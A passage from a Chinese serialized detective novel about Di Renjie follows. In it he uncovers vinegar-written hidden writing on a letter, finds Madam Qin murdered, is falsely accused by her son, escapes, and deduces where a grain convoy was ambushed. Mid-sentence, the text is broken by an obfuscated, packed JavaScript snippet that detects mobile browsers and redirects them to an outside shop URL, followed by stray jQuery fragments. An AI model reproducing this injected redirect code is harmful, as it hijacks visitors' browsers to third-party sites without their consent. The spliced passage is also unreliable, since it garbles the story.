她顿了一顿,忽然想到了一件事,道:“明日五更,你们来到后门,这样子敲几下,我自来开门,还有些话要与你们说说。我担心别人见疑,得回去了。” 狄仁杰、韩忠义二人送了出来。 秦夫人说了声:“不用送了。” 她刚准备走,忽又叮嘱二人:“务必要来。我方才想起了一件很重要的事,是关于夫君他的,今儿忘了说。明日我再告诉你们,或许会对你们有帮助。”说着快步去了。 狄仁杰二人直到望不见她的身影了,方才闭门回屋,各自吃了些面饼充饥,又感到口渴了,见茶几上有茶壶,里面还有些剩茶水,于是拿杯子倒来饮。 韩忠义这时见狄仁杰又掏出了那封空白信笺,便问他:“大人,远刺史被杀,莫非真与这封信有关?”看来看去,这封信一点问题都没有。 狄仁杰将纸张靠近鼻子嗅了嗅,皱了皱眉,又仔细一嗅,“咦”的一声,道:“奇怪。” 韩忠义问怎么了。 狄仁杰半晌道:“我明白了。忠义,快,把那杯茶给我。”说着将信纸平放在案上。 韩忠义将茶拿来,狄仁杰接了,慢慢地将茶水浇在纸上。 韩忠义惊道:“大人!” 狄仁杰一个手势阻止,指着信道:“你看。” 韩忠义低头一看,只见那张空白纸渐渐地浮现出了图文。 狄仁杰放下茶杯,轻轻地对着纸面吹了几口,那图文便更加清晰地现了出来。 韩忠义不解。听狄仁杰道:“之前我看这纸有的部分较皱,有的部分却偏平,显是有接触过液体的迹象。我方才一闻,这纸有酸味。有皱褶之处酸味便愈浓厚,扁平之处却稍淡。我于是想到了,这上面其实是有内容的,只不过被隐藏了起来。只有一种可能:内容是用白醋写就的。白醋本身就是透明液,沾上了纸张,待其干了,便不留痕迹。然而纸张与之接触过的地方,干后的褶痕还有酸味是抹不去的。要使内容重现,用茶水正好。” 韩忠义听了点头。 二人这时看那纸张,见上面画着一把剑,剑柄上有一个“李”字。旁边一行七个字写着“得此剑者得天下”。 韩忠义道:“这是什么意思?得到了这把剑就能得天下?” 狄仁杰将信的封面也用茶水浇了,一时字迹分明,与韩忠义一看,都大吃一惊。 只见上面写着“狄仁杰”三个字。 韩忠义道:“大人,这封信难不成是写给你的?然而若非秦夫人恰巧与了我们,这……” 狄仁杰呆了呆,自言自语道:“是巧合,还是……” 韩忠义听觉灵敏,突然透过风声听到了什么奇怪的声响,便连忙向狄仁杰小声道:“大人,外面有声响。” 狄仁杰微微点头。 韩忠义便快速走过去,慢慢地拉开了房间的门,才刚刚开了一个小缝,登时一阵呼啸的狂风便吹了进来,又寒冷又猛烈,屋子里的油灯瞬间摇晃了起来,忽明忽暗,灯影阑珊,小房间的四面八方都是一片昏黄又凌乱的烛光。 韩忠义于是一口气将房门大开,狂风立时“呼呼呼”地直吹,房间里的灯光剧烈摇晃了一瞬间,在韩忠义立刻关上了房门之后,又复归平静,安宁。 韩忠义走了出来,前院一片漆黑,梧桐树和枫树的枝叶被风吹得飒飒乱响,整个树身似乎都在晃动,跟着狂风左一下右一下,在里屋黯淡灯火的掩映下,一片黑影摇曳。 韩忠义到处察看了一番,又快速来到院子的大门口,迅速地一下子开了大门,连忙伸出头去,朝左右两边迅速地环顾了一番,只见黑黢黢的内街道,没有一个人影,四周荒废的院落里也没有亮灯,到处都是深邃的夜色,一望无际的漆黑,而韩忠义的眼前没有路,只有一堵高墙,静静地在对面屹立着。 韩忠义感到疑惑,难道是自己听错了?不过外面风声实在太大,也有可能是听错了,这种时候,在这种地方,又怎么可能会有人呢?但不对啊,刚才自己明明听到了有一种什么奇怪的声音,好像是人的脚步声。那个声音离得很近,但好像也不是太近,但肯定就在这小宅院的附近。 韩忠义正疑惑着,准备关上大门,才刚关了一半,突然好像又听到了那个声音。他连忙又开了门,迅速冲了出去,朝右边来的方向奔去,只见小道内黑漆漆一片,看不清楚景象,但好像没有见着人影,只有两旁高墙上的屋檐的阴影。他忽然一想,不对啊,声音好像不是从这边传来的,好像是从小宅院的左边方向,那个高墙靠内侧的地方,发出了一点类似脚步声的响动。 他连忙又飞奔了过去,穿过了一段小宅院前面的内街,沿着石板路直接冲到高墙的拐角处,向右一看,竟然不是个死胡同,而是个直通大街的内巷!但里面并没有人,只有两边的高墙围绕着,也是一片漆黑。韩忠义再回头一看,周围除了小宅院里,都没有灯火,整条内街好像一个人也没有。他又担心狄仁杰会出事,便连忙又冲回了院内,将大门迅速紧闭,前院也处处瞧了瞧,好像没问题,只有冷风不停地击打着树梢。 韩忠义又连忙进了里屋,见狄仁杰还好好地坐在那里,这才松了口气,将门关上后说道:“外面除了风声,好像没什么异常,也许是卑职听错了。但有个直通大街的内巷,让我有点怀疑……不过也没见着人,估计是错觉吧。” 狄仁杰叹了口气,道:“树欲静而风不止啊。” 韩忠义道:“大人,你早点歇息吧。” 狄仁杰道:“是啊,明日五更,秦夫人还有事要跟我们说呢。” 韩忠义道:“大人,你觉得会是什么事呢?” 狄仁杰道:“我也不知道,但似乎是件很重要的事。” 韩忠义道:“我看秦夫人走的时候,好像有点紧张。” 狄仁杰道:“不但紧张,还有点害怕。” 韩忠义道:“她害怕什么呢?” 狄仁杰摇了摇头,道:“不想啦,睡吧。” 韩忠义道:“大人,你睡床。” 狄仁杰道:“你睡吧。” 韩忠义道:“大人,就一个床,我睡了你睡哪?” 狄仁杰道:“你还不知道我,几十年来,居无定所,随便混混也就过来了。” 韩忠义道:“那可不行,现在又不是没有床,怎么能我睡床,你睡地板呢?” 狄仁杰道:“我也没有说要睡地板,就在椅子背上靠靠,也就行了。” 韩忠义道:“那可不行。” 狄仁杰道:“好啦别说啦,快睡吧,我也有些累了。” 韩忠义只好在床上睡下了,心里还有些过意不去。 狄仁杰于是吹灭了油灯,屋内变得一片漆黑。他也真的累了,靠在了椅子背上,闭上了眼。这个椅子睡得是真的不舒服,甚至可以说是睡得很难受,但他狄仁杰是那种宁愿自己受苦,也不能去苦了别人的人。所以韩忠义想跟他换,他也坚决不换。因为如果是他狄仁杰睡在了床上,他会因为韩忠义睡得没有自己舒服而感到更加痛苦。他宁愿用受苦,来换取内心深处的平安,或者说是,让自己的良心不感到痛苦。 在他狄仁杰看来,世上最痛苦的事,莫过于愧对天地良心,做一些违背自己良心的恶事、错事、不好的事。因为一直以来,他的良心就特别敏感,似乎不能容忍一点错误,尤其是自己的错误,而不是别人的错误。对于别人的过错,他总是能够原谅,但有个前提,就是那个过错、那个恶事,是争对他狄仁杰本人的。如果这个过错,伤害了他狄仁杰以外的人,他就会义愤填膺,要尽量去惩罚犯错的人。除非那些被伤害的人,主动选择去原谅犯错的人,不然,狄仁杰认为自己没有资格去替他们原谅。但如果那些“不好的事”是争对他狄仁杰的,无论这件事多么恶劣,多么残忍,多么不可原谅,他狄仁杰都能去原谅,而且是完完全全地去原谅,在内心深处的原谅,而不是虚情假意、口是心非地装作原谅。他也不知道为什么,自己就是能够原谅。 狄仁杰回想自己的一生,好像从来没有去恨过任何一个得罪了自己的人,倒是恨了许多得罪了别人的人。他只有看到别人,因为世间的丑恶而受苦,自己才感到痛苦。至于自己所受的苦难,他似乎很容易忘掉,好像受了就受了。但如果是别人,哪怕是一个离自己很遥远的人、一个跟自己毫无一点关系的人,在世界的另一边遭受了苦难,他也照样会痛苦,至少也得痛苦一小会儿,而不是觉得因为跟自己没有关系,所以无动于衷。 他一辈子都在为别人着想,却时常忘了对自己好一点。他有时候忘了自己也是个人,也有感情,也配拥有幸福。他只想着别人的幸福,而渐渐地忘掉了自己,也忘掉了自己本可以享受到的幸福。他如果知道自己做点什么事,就可以让人们更加幸福快乐,那么他一定会去做。他会毫不犹豫地选择去做,让人们幸福快乐的事。他觉得,这是他活在世上的责任,而且是他狄仁杰必须承担的责任。但他也知道,属于自己的,未必属于他人。这是他狄仁杰的责任,却不是天下所有人的责任。因此,他从来不站在道德高处去要求别人应该怎么做,也不去指责别人做得够不够好,更不会觉得自己比他们更高尚、更伟大,他只管做好他自己。 他狄仁杰认为,一个人首先要做好自己,才能去改变这个世界。如果一个人连自己都做不好,又有什么资格去要求别人呢?何况他狄仁杰,也从来不去要求别人,总是严于律己、宽以待人。他也知道,这个世界凭一己之力是改变不了的,所以从自己开始改变,才是最重要的。如果每个人都能改变自己,变得更善良一点,那么这个世界不就自然而然地改变了吗?不是让自己去迎合世界,也不是让世界反过来迎合自己,而是简简单单地做好自己,就能让世界变得更加美好。哪怕自己微不足道,哪怕自己非常渺小,也能做一个小小的蜡烛,在黑暗中发出微小的光芒,去照亮这个世界。 他狄仁杰从年轻时,就立志,要为天下人出一份力。如果要实在地去改变天下,就得去做官。因为一个人没有权力的时候,他的善良也只能是不去伤害别人,却很难实在地去帮助别人。也许可以帮助一两个人,甚至是十来个人、上百个人,但也很难去凭一己之力帮助天下人。所以人微言轻使得一个人的善良,虽然仍有价值,但却受到了很大的限制,不能把它的美好更大地、更自由地发挥出来。可如果一个人拥有了权力,那就不一样了。一个人的权力越大,能力也就越大,影响力也就越大。只有身处高位,才能一言九鼎,而这时候,一个善良的举动就能拯救世界,反之,一个邪恶的举动就能毁灭世界。所以狄仁杰深知权力的重要性,也就不会假清高说什么不屑于当官。他不但当官,还当上了宰相,就为了实现年轻时候就有的理想,去改变天下。 他尽力了,但至今还没有成功。 现在外面狂风呼啸,狄仁杰也是思潮起伏,靠在很不舒服的椅子背上,睡不着觉。他越是不想去想,就越是控制不住自己,一大堆乱七八糟的思想在他的脑海里此起彼伏,穿来插去,让他痛苦不堪。他双眼虽仍是闭上的,却不由得叹了口气,紧皱了眉头,整个人感到非常地难受。他现在到底在痛苦些什么?他自己也不清楚,但是这种痛苦的感觉,也不是经常有的,只是今天晚上,他感觉到非常地不对劲,非常地不同寻常,好像隐隐地有一种不祥的预感,似乎要出什么事似的。 这时候夜已深,外面狂风还在刮,连窗纸都被吹得一直抖动着乱响,外面的树影猛烈地摇晃,枝叶也一直在飒飒响动。 狄仁杰知道,自己的预感常常是很准的,而且大部分时候,如果自己有不好的预感,那么实际情况只会比自己想象的还要更糟。他不知道为什么,今天晚上,他又有那种感觉了,那种让他很不舒服,甚至是很恐怖的感觉。 他今天才刚刚来到秦州,现在只是第一天的晚上,却已经发生了那么多蹊跷的事。从一进城,那种空城般诡异的氛围,灰沉沉的天气,寥寥无几的行人,远刺史的突然离世,来哭丧的人有些奇怪的神情,秦夫人说的远刺史是被杀害的话,杀害的手法那么似曾相识,还有那封神秘的空白纸信笺,画在上面的奇怪的剑,封面上写的“狄仁杰”三个字,甚至是韩忠义说的,外面传来的声响,什么直通大街的内巷,还有脚步声、风声、说话声什么的。这些看似毫无关联的事,却都同时让狄仁杰感到担心,感到非常地不对劲。对了,还有秦夫人走之前的神态,那种神态,更让狄仁杰感到害怕。因为她的神态,是带有恐惧的,是非常不安的。她怎么了?她在害怕什么?她为什么急着回去? 狄仁杰不知道为什么,他感觉要出事了,而且是真的要出事了,要出大事了。他现在越来越感觉,好像自己不祥的预感,要变成现实了。到底是怎么一回事?为什么才刚刚来到秦州的第一天,就发生了这么多奇奇怪怪的事?这都是巧合吗?为什么自己越来越感觉真的要出事了呢?能出什么事呢?远刺史,自己几十年没见的老朋友,都已经死了,而且就是在自己到来的不久以前,离奇地被人给杀害了。还有什么事没有发生?那封信真的是给自己的吗?为什么这一切都发生的这么巧?难道自己的到来,跟这一系列的怪事有关?自己来到秦州的事,根本不可能有人提前知道,就连韩忠义几个人都不知道。没有人知道,远刺史是自己的老朋友,连自己都跟他多年没见了,他怎么会有一封信,上面写着自己的名字呢? 现在最让狄仁杰担心的,是明天究竟会发生什么事。难道就在明天,过了今天晚上,就要出事了吗?为什么自己会有这样的预感呢? 这时候韩忠义已经睡着了,微微有点打鼾。 房间里一片漆黑,狄仁杰靠在椅子背上,依然睡不着。 风还在不停地吹,猛烈地吹,响声很大。 狄仁杰想着想着,不知不觉也睡着了。 睡了不知多久,又醒了来,眼前还是一片漆黑。 他又睡着了。 又不知睡了多久,他又醒了过来,眼前虽然还是漆黑,甚至更加漆黑了,但外面的风停了。 风声也停了。 他刚刚意识到风停了,房间里面安静得不得了,韩忠义微微的鼾声还在,漆黑也没有散去,他又睡着了。 不知不觉,天有点亮了。 狄仁杰再次醒了来,眼前能看见房间里的场景了,但天色还是偏暗。 韩忠义也跟着醒了。 纱窗外,一片黯淡中,晨光初露。 狄仁杰道:“天亮了,有五更了吧?” 韩忠义道:“应该有了。” 狄仁杰站起身来,说声:“我们走吧。” 一面带上了秦夫人带来的面饼包裹,二人推开房门,走出了房间,又从大门口出了小宅院,关上了大门,沿着昨天来时的路,朝着刺史府方向快步走去。 天色渐亮,可以看清道路了,大街上还是空荡荡一片,没有任何行人。 狄仁杰二人拐了好几个弯,终于来到了刺史府。 二人绕了一圈,来到了刺史府的后门,按照昨天晚上秦夫人所教的那样,在门上敲了几下。待了会儿,却并不见有人来开门。 二人又敲了几下,却依然没有回应,而且连一丝动静也没有。 狄仁杰突然感觉到了,那个不好的预感,那个他想了一个晚上都没有想明白的,不祥的预感,到底是什么!他这会儿才真的意识到,出问题了,但同时他也感觉到,可能现在都已经晚了,已经来不及了!他早已冷汗直流,这会儿忍不住叫了声:“不好,可能出事了!” 韩忠义见狄仁杰如此紧张,也大吃了一惊,突然也有不好的预感,便连忙跃进墙内,从里面迅速地开了门,狄仁杰紧接着赶忙进了来,二人连忙将门关上。 二人快步走到昨日秦夫人领进的私室后门前,只见那门是半掩的。 狄仁杰知道不对了,知道不对了,他紧张得已经快疯了,刚刚敲门没人回应,没人来开,可私室的后门居然会是半掩的,半开的!怎么回事?!出事了,他知道出事了,肯定出事了! 他连忙走到门口,喘了口气,先轻轻叫了声:“秦夫人……” 就在这一瞬间,他一瞥眼,突然就见到了里面的木头地板上有血迹,有鲜血,有一大滩的鲜血! 他大惊道:“不好!” 与韩忠义连忙入内,吓得几欲大叫了出来。 只见秦夫人躺在地上,腹部插了一把锋利的匕首,鲜血把白色的衣裳染红了,周围地板上也都是鲜血。 狄仁杰二人大惊失色,连忙冲了过来,叫道:“秦夫人!” 狄仁杰一把将她抱在了怀里,见她因失血过多,面色极其苍白,好像冬天的白雪一般,又艳丽又凄惨。狄仁杰连忙握住她冰冷的手,自己的手却止不住地颤抖。她已经奄奄一息了,呼吸非常地微弱,眼睛已经闭了。这时候见狄仁杰来了,就又缓缓地睁了开,见他正抱着自己,感到很温暖,于是微微地一笑,眼睛里含着的泪水,从眼角流了下来。狄仁杰也忍不住哭了,眼泪从他苍老的脸上滑落,他颤抖的嘴唇说不出话来,只是一边流着泪,一边看着她苍白的面容。秦夫人微笑着,慢慢地抬起了右手,用她纤细的手指,轻轻地替狄仁杰擦掉了脸上的眼泪。狄仁杰更忍不住了,顿时泪如泉涌,心中的伤痛大到他呼吸困难,只是断断续续地、不连贯地喘着气,感到脸上的泪水是咸的,被秦夫人温柔的手一抹拭,又变成甜的了。 韩忠义在旁也含泪问:“秦夫人,到底是谁干的?” 秦夫人缓缓转过头去,望向韩忠义,声音微弱地、断断续续地微笑道:“韩……韩将军,你……你替我照顾好……” 韩忠义连忙说:“夫人不消嘱咐,我会照顾好狄大人的。” 秦夫人听了,微笑着点了点头,又慢慢转向狄仁杰,看着他轻声说:“仁杰,我对不起你,你不要怪我……”说着眼泪又流了下来。 狄仁杰悲痛到浑身颤抖,抱着她逐渐冰凉的身体,虽然已经难过到说不出话来了,但还是努力说出了:“是……我……对不起……你啊……”一面哽咽,一面泪如雨下。 她面带微笑,却又伤心地看着他说:“你不要哭,我希望你快乐……” 狄仁杰道:“你和远靖兄要是都不在了,还要我怎么快乐?” 秦夫人道:“你……你要答应我,要好好地……好好地活下去……” 狄仁杰听了她的话,只是看着她点头。 韩忠义又忙问:“夫人,到底是哪个王八蛋干的?我替你报仇!” 秦夫人却已经没有力气回答了,她的眼神恍惚,眼目非常缓慢地离开了狄仁杰的脸庞,似乎望向一个虚无的方向,前面没有景象,只有朦胧,只有虚空,她知道那是死亡。她的嘴唇微微一动,最后几不可闻地说了声:“原……谅……我……”便合上了眼,气绝了。 狄仁杰仍然抱着她,呆住了,好像时间在一瞬间停止了。 他感觉到的甚至不是悲伤,也不是绝望,而是内心深处,什么东西突然没了,而且永远也不会再有了。 韩忠义不由得愤怒地“嗐!”了一声。 就在这时,忽听得一阵巨响如雷,越来越大声,逐渐靠近二人所在的私室,竟是一大群人的脚步声。他们都齐声大喊道:“休放跑了贼人!好像是进了夫人的私室!冲啊!” 只听得一声巨响,私室的前门被他们踹了开来,带头的是一个披麻戴孝的年轻人,他领着身后一群手执刀枪棍棒的家人直闯入来。 一见了秦夫人腹部插着一把匕首,满地都是鲜血,然后狄仁杰正抱着她,那群人登时都大喊大叫了起来。 那带头的年轻人大叫了一声:“娘!” 又见狄仁杰、韩忠义二人就蹲在尸首旁,那年轻人立时便发出了一声狂叫,持着手中的钢刀,向狄仁杰二人直砍将来。 狄仁杰二人见众人赶来,本就大吃了一惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051978|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这会儿见那年轻人二话不说就冲了过来要砍人,更是吃惊。韩忠义便连忙将他轻轻一推,立时便跌了他个四脚朝天。 众人忙将那年轻人扶了起来,一齐指着狄仁杰二人怒骂道:“你们太恶毒了!”“下手这么狠!”“先奸后杀,恶毒至极啊!”“真是禽兽不如!”“没廉耻,不害臊啊!” 狄仁杰二人虽然料到了,这群人会误以为秦夫人是自己二人杀的,那也还罢了。但此刻听他们随便乱说,竟然还说出了什么“先奸后杀”的话来,当真是“欲加之罪,何患无辞”,二人都不由得瞬间懵掉了。 那群人当中有人问道:“这两个该天杀的是谁啊?” 那个年轻人怒叫:“还用说吗!一看就是通缉令上的卖国贼狄仁杰还有他的狗护卫韩忠义!” 众人都“啊”的一声,齐声叫道:“难怪呢!原来是这俩狗玩意儿啊,真是丧尽天良啊!” 狄仁杰道:“秦夫人……不是我们杀的。我们……我们也是才到……” 那年轻人气得浑身发抖,指着狄仁杰狂叫:“你闭嘴!你个王八蛋!我爹他……生前怎么都不愿张贴通缉令,已经是对你狄仁杰仁至义尽了,你……他已经被你们给杀害了,你们现在把我娘也……”说着仰天哭喊了起来。 狄仁杰眼睛含泪,见这青年的长相便仿佛从前的远刺史一般,便问他道:“你……你可是……远刺史的公子?” 众人怒道:“这还用说?” 那个年轻人正是远公子,他一听众人回狄仁杰的话,便更加愤怒,于是猛地回过头来朝他们疯也似的狂叫:“你们都给我闭嘴!闭嘴!都给我闭嘴!”又猛一转身,满面泪痕地看着狄仁杰二人,整个人直气得语塞,又突然哈哈狂笑了起来,大叫:“来呀!杀我呀!我是我爹唯一的儿子,你来呀!你杀了我呀!你有种的把我也给杀了呀!狄仁杰!我就是做了死鬼我也不会放过你!你来呀!你杀了我呀!” 狄仁杰缓缓摇头,流泪道:“远公子,我……我怎么会去杀害你的父母呢?你父亲他……他是我最好的朋友,我……我怎么会去杀害他呢?我真的是昨天才到的,我……今天秦夫人她怎么就……” 远公子双臂猛地一挥,大叫:“你给我闭嘴!我不想听你满口放屁!我告诉你,我活腻了,所以你别在我面前装你的仁慈,虚情假意地装!我看了很恶心你知道吗,我很恶心!我成日就听我父亲说你多好啊,你好吗,啊?你很好啊,啊!装,装!你继续装!” 韩忠义叹了口气,劝道:“远公子,我知道你现在很痛苦,可我们……我们没有杀人哪。我们……我们这一路上真的都不明白是为什么呀。这一切都……哈,真的,我也不明白。这……” 远公子冷笑道:“你想说,这一切都是有人在栽赃陷害你们?嗯?哈哈哈哈,撒谎都不脸红啊,啊?啊?!你们好要脸啊!” 众人大声叫道:“姓狄的还有姓韩的,你们杀了人,就要偿命!你们恶贯满盈了!” 狄仁杰叹了口气,道:“什么都不用说了。远公子,我对不住你父母。” 远公子大叫:“晚啦!我只要你们偿命!” 韩忠义不觉大怒了起来,也叫道:“那好吧!欲加之罪,何患无辞?就是我们杀的,你们怎么样吧!” 众人大叫:“把你们俩千刀万剐!” 狄仁杰看着韩忠义道:“你为什么要这么说?是就是是,不是就是不是,你又何必与他们去怄气?只要问心无愧,便是天下人都误解你,又有何惧?” 远公子大怒,狂叫道:“狄仁杰!你个狗贼!你做了也就做了,你还装,你还装!” 他回过头来大叫:“快给我到大街上说去,让天下人都来评评这个理!你们快给我去说!就说狄仁杰,忘恩负义,害死了我爹,奸杀了我娘,作恶多端,无耻至极矣!快去啊!去啊!” 众人里于是去了许多人,都到大街上传去了。 韩忠义怒极,指着远公子大叫道:“姓远的!你怎么血口喷人,不分青红皂白?!” 远公子狂笑道:“我要让你们两个狗贼臭名昭著,身败名裂,让你们遗臭万年!哈哈哈哈哈!” 那些百姓都爱看热闹,不一时便一窝蜂来到了刺史府,登时从里到外都挤满了人。 那些亲眼瞧见了的,都信了。 一传十,十传百,半个城,一时都知道了。 狄仁杰二人,于是被千夫所指,万人唾骂。 韩忠义快疯了,他实在是受不了了,拔出剑来,就要砍人,狄仁杰忙阻止他。 来看热闹的,人山人海,都嚷着要将二人千刀万剐。 狄仁杰在一片叫骂声中,跟韩忠义说:“我今日便是死在这里也罢了,我却不许你伤害他们一个人的性命。” 韩忠义道:“可是大人,这些人……” 狄仁杰叹了口气,道:“他们虽然误解我,却也不是他们的错。毕竟眼见为实,这也真的怪不得他们。我们都是棋子,都是被幕后之人利用了。” 韩忠义苦笑道:“大人,死在这里,真的值得吗?” 狄仁杰含泪微笑,仰天说道:“只要问心无愧,值得。” 韩忠义含泪点头道:“好吧,既然如此,那卑职便与大人一块儿死。” 众人不由分说,都大喝一声,乱刀砍来。 狄仁杰二人一齐闭上了眼。 就在这时,忽听得一个熟悉的声音大叫:“不要伤害狄公他们!” 那声音传来的同时,猛然袭来了一阵劲风,将私室里的上百人同时推倒在地。 狄仁杰二人连忙睁开眼一看,只见站在自己面前的,竟是马肃。 这时,又听得后头传来了一声:“老爷!俺们来喽!” 却是胡乐、狄宁、鹃儿三人穿过人群而来。 狄仁杰、韩忠义二人见了大喜,都忙问:“你们怎么来了?” 胡乐道:“我们当时跟你们分开以后,在江上又漂了没多久,就正好遇上了一艘船,也是来秦州的,他们船上的人还不错,听咱们大喊救命,就救了咱。嘿嘿,这不是来刺史府相会了嘛。欸,老爷,你们咋地被老百姓围攻啦?” 狄仁杰、韩忠义二人叹道:“一言难尽啊。” 狄仁杰这时忽然想道:“是的,我还可以救更多的人,现在还不能死!” 他想通了,于是大叫了声:“忠义、马肃!不要伤害百姓,我们赶紧走!” 韩忠义、马肃二人应道:“是!” 二人遂横冲直撞,势不可当,如入无人之境,却没有伤害一个人的性命。 正是人人惊惧,都连忙闪开,一齐自觉地从中让出了一条道来。 也无人敢去追赶,都眼睁睁看着六人飞也似的去了。 这里远公子还以为能报仇了,突然见来了救星,就把狄仁杰二人给救走了,不由得暴跳如雷,立时传令封锁城门,叫休放跑了狄仁杰一行,但凡遇见者可先斩后奏。 他又向众人朗声道:“诸位!狄仁杰一伙儿狗畜,罪恶滔天,人人得而诛之!谁若能杀了他们,亦或活捉回来更妙,在下定将家私的一半与他,再上奏朝廷封他做大官!” 众人本就义愤填膺,如今听说还有奖赏拿,哪个又不愿意?于是都齐声叫好。 一时众人散去了,远公子在私室里跪了下来,望着秦夫人的尸首嚎了几声娘,便双手抱着她冰冷的尸身大声哭喊了起来,哭到嗓子都哑了,还在哭,连着哭了有一个多时辰,哭到昏迷了过去,醒来又哭,哭得撕心裂肺、声嘶力竭,就连旁边那些家人都替他难过了,便都劝了他一阵子,方才罢休。远公子于是命人给秦夫人换了衣裳,跟远刺史一同埋葬了,又请僧道来做法事,也不必细说。 朝廷得知了远刺史之故,因近来战时人手急缺,就胡乱封了远公子为新一任秦州刺史,远公子便领旨谢恩。 自此,远公子恨狄仁杰入骨,一心只想着要复仇。 狄仁杰六人赶在城门封锁以前便已经逃出了城了,一直飞奔到了郊外几里处,见离得远了,方才各自松了口气。 狄仁杰却还想返回城中去调查秦夫人被害之事,被韩忠义等人三番五次方劝住了。 狄仁杰闭上了眼,紧皱眉头,过了半晌方才睁开眼来,叹了口气,说道:“我是糊涂啦,现在回城,是自投罗网,我也知道。可是……” 胡乐几人还不知道发生了些什么,听韩忠义大致将经过说知。 几人听完都“哦”了一声。胡乐道:“原来老爷跟秦州刺史认识呢。只是那秦夫人也忒倒霉,咋地就被人给害了呢。到底是哪个王八蛋下的毒手,真他妈该死!” 马肃道:“狄公,秦夫人被害,莫非与那封信有关?” 胡乐道:“是啊老爷,那封信上到底啥内容啊?” 狄仁杰于是拿出了那封信给他们看。 他们便也见着了上面画着的那把剑,还有剑柄上的那个“李”字,和旁边一行写着的“得此剑者得天下”七个字。 狄宁道:“这是把什么宝剑?” 胡乐道:“得天下?我看未必吧。” 马肃道:“只是这个‘李’字颇有些蹊跷,莫非这是一个姓李之人的剑?” 狄仁杰道:“远刺史与秦夫人的死,与此信至少脱不了干系。所以这信上的内容便是我们的线索。而其中这个‘李’字,也确实是关键。只是,这又说明了什么呢?” 他顿了一顿,又摇头道:“秦夫人这一去,远刺史被害一案的线索也跟着中断了。除了当日目睹案发现场的捕头官吏等十来个人,却又不知他们分别是谁。” 韩忠义道:“难道远刺史与秦夫人一案,就真的没有任何办法了吗?” 狄仁杰道:“他们二人相继遭到毒手,绝非巧合。要知道秦夫人被害的真相,我想首先要弄清楚远刺史的被害,究竟是怎么一回事。既然目击证人这一突破口是没有希望了,那……可我甚至怀疑,真正的问题其实就出在远刺史的尸身上。但如今即便是进了城,死者也已经入土,我又能如何呢?呵,何况还进不了城呢。我真是在胡说八道啊。看来此案真的是……” 他想了想,又道:“可是据秦夫人说,当日远刺史被害现场所有人,包括远刺史本人在内,均是被刀杀,并且手法还干脆利落……” 韩忠义道:“莫非又是跟寒刀帮有关?” 狄仁杰若有所思。 一行人遂向深山荒僻之处走去。 林间穿过午时的一缕缕阳光,温暖耀眼。 胡乐道:“老爷,咱没吃的喽。” 狄仁杰于是打开了秦夫人昨日带来的那个包裹,把里面剩下的几块面饼都拿了出来,分给几人,一起吃了。 狄仁杰嚼着面饼,顿时又难过了起来,痛苦到连咽都咽不下去了,因为他发现,送给自己面饼的那个人,已经不在了,永远不在了。 人亡物还在,狄仁杰忍不住又哭了。 33. 第三十三章 主使 狄仁杰一行在郊外的荒山野岭中行路,吃了秦夫人的面饼,继续往深山密林中走去。 这时候是下午时分,几人方才行至一处枝叶浓密、绿影婆娑的树林,正沿着土路官道缓步徐行,突然狄仁杰止步道:“慢着,不对劲。” 韩忠义道:“大人,哪里不对劲?” 狄仁杰仰面瞧瞧,又低头看看脚下的路,道:“这路……” 马肃道:“狄公,路有什么问题?” 狄仁杰蹲下身来,时而回头,时而低头,时而向前看,说道:“这条路面不平啊。” 胡乐笑道:“老爷,土路哪儿有平过的?只要有人走过,就没平的。” 狄仁杰道:“不止有人行过的脚印,还有车子碾过留下来的辙痕,与纵横交错的马蹄印。” 韩忠义道:“那又如何呢?” 狄仁杰道:“说明这条道有大量的车马行过。” 韩忠义道:“也许是商人进城去做买卖……” 狄仁杰摇头道:“不对。这是荒郊野外,除了秦州哪里还有什么别的城。你注意这马蹄的痕迹是朝着我们如今行走的方向去的,那可不是进城的方向啊。” 韩忠义道:“那也许是到别的城里……” 狄仁杰道:“也不对。去别的城应该向东南北方行,可这里却是向西。” 韩忠义道:“向西怎么了?” 狄仁杰道:“那我问你,我们为何向西?” 韩忠义道:“我们是去边关啊。” 狄仁杰道:“好,且与我来。” 几人于是又向前走了有十来步路,见狄仁杰指着那路道:“如何车痕马蹄印在此却停止了呢?” 韩忠义几人面面相觑,还是不知道其中缘由。 狄仁杰道:“大量车马向西而行,途中却戛然而止,而止处印记纷繁,两旁树丛受损,这说明了什么?” 他望着疑惑不解的韩忠义几个人,说道:“只怕翻开道上表层的泥土,底下会找到大米来,也许还有血迹呢。”说着,便蹲了下来,用手去翻弄土地。 韩忠义等人于是也蹲了下来,一齐看了,都大吃了一惊。 只见那土底下果真有少许米粒,而且部分土块上还沾着血迹。 鹃儿道:“狄老爷,你怎么会知道的?” 胡乐道:“嘿,这也忒玄乎欸!老爷,你莫非是瞎猜的?” 狄仁杰道:“也不完全是瞎猜的。方才我跟你们讲的都是我猜测的根据。” 马肃道:“狄公,这究竟是怎么一回事?” 狄仁杰道:“我想时间是在我们出洛阳之后发生的,因为没有雨,地上的痕迹方才保留了下来。他们没有破坏现场,这是他们的疏忽。” 韩忠义道:“大人,到底发生了什么?” 狄仁杰道:“朝廷运粮队,在前往边关的路上,途经此处,被早已埋伏在周边的杀手突袭,再被劫走了几千石军粮。当然,运粮队还是有活口的。” 韩忠义大惊道:“大人!你是说,这是运粮队的遇害之处?可……可又如何知道运粮队里还有活口呢?” 狄仁杰看了他一眼,道:“若是运粮队员全部都被杀害了,那么谁回都城去报信,说是我狄仁杰领人袭击的运粮队、又劫走的军粮呢。” 韩忠义道:“为什么说是大人你呢?” 狄仁杰道:“那我问你,运粮队为什么会被提前埋伏?” 韩忠义道:“必定是有人通风报信的缘故。” 狄仁杰道:“去往边关的路可不止这么一条,又如何去通风报信呢?” 韩忠义摇摇头。 